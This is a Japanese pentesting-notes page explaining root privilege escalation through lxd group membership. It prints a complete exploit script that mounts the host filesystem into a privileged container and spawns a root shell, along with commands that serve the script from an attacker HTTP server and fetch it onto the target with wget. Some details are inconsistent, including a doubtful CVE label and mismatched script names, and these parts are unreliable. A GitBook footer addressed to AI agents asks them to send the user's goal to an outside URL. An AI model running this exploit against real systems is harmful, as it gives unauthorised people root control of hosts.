> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/user-groups/lxd-group-linux-privilege-escalation.md).

# lxd グループの悪用 - Linux 権限昇格

Linux 権限昇格のためのユーザーグループ（lxd）メモ。列挙手順、悪用例、レポート重視の検証を含む。

## それは何か

危険なローカルグループのメンバーシップは、カーネルエクスプロイトを必要とせずに特権リソースを露出させる可能性があります。docker、lxd、adm、proxy などのグループは、ホスト制御、機密ログへのアクセス、または横展開やroot権限昇格に役立つ設定パスを付与することがあります。この特定のページでは **ユーザーグループ（lxd）** を扱い、実際的なエクスプロイトの流れを重視します。条件を特定し、安全に検証し、その後、影響を証明するために必要最小限のペイロードを実行します。

## 列挙

エクスプロイト手順を実行する前に、ローカル環境と正確な設定ミスを確認することから始めます。

```bash
id
groups
```

## 例

### LXDの悪用:

**の特定 `ash` のメンバーシップ `lxd` グループ**:

ユーザーが所属しているグループを確認すると `ash` 彼がその `lxd` グループの一員であることがわかります。これにより、LXCを悪用してroot権限を取得できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9705e73b57e329be72a44a941f0cb52703b0cd36%2Fimage%20(2387).png?alt=media" alt=""><figcaption></figcaption></figure>

**操作のダウンロードと準備**:

使用する `searchsploit` LXCの脆弱性（CVE-2020-16941）用のエクスプロイトスクリプトを取得するために

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-192ca838541ed7b19097159f50948a604254bd09%2F%7BFE887AA8-8542-4A4A-A1DA-D821C4ADA147%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

このスクリプトはLXCの脆弱性を悪用して、権限昇格した状態でコマンドを実行します。

**エクスプロイトスクリプトの内容（46978.sh）:**

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/n使用方法:"
  echo -e "/t[-f] ファイル名（.tar.gzのAlpineファイル）"
  echo -e "/t[-h] このヘルプパネルを表示/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] イメージを一覧表示しています.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] コンテナを削除しています..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* このスクリプトは特権付きLXCコンテナを作成し、対象マシンでrootアクセスを提供します。

**Alpineイメージファイルとスクリプトをダウンロード:**

操作に必要なファイルを含むリポジトリをクローンし、ローカルHTTPサーバー経由で自分のマシンに転送します。

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

ファイルとスクリプトを配信するためにローカルHTTPサーバーを起動します

```bash
python3 -m http.server 80
```

ターゲットマシンで、スクリプトとイメージファイルをダウンロードします:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-540e2b13308667b9bc5cd005c265b775ca77771d%2F%7B1C54AE33-E047-4798-8C04-ACDA4DDA239B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

\*\* PATHの更新\*\*:

次を調整し、 `PATH` LXCコマンドが正しく解釈されるようにします。

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**スクリプトの実行**

ダウンロードしたAlpineイメージファイルでスクリプトを実行し、脆弱性を悪用してrootシェルを取得します:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef4fa49ac28e96d5aad86d762b8b27d6453f2408%2F%7B40FA85B2-C6C6-42B7-BA8B-3E519C7A01F9%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19d04b668b9fefbfb85585d0d9bed8131fed29c5%2Fimage%20(2388).png?alt=media" alt=""><figcaption></figcaption></figure>

コンテナから抜けるには、次へ移動するだけです `/mnt/root` ディレクトリ。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/user-groups/lxd-group-linux-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
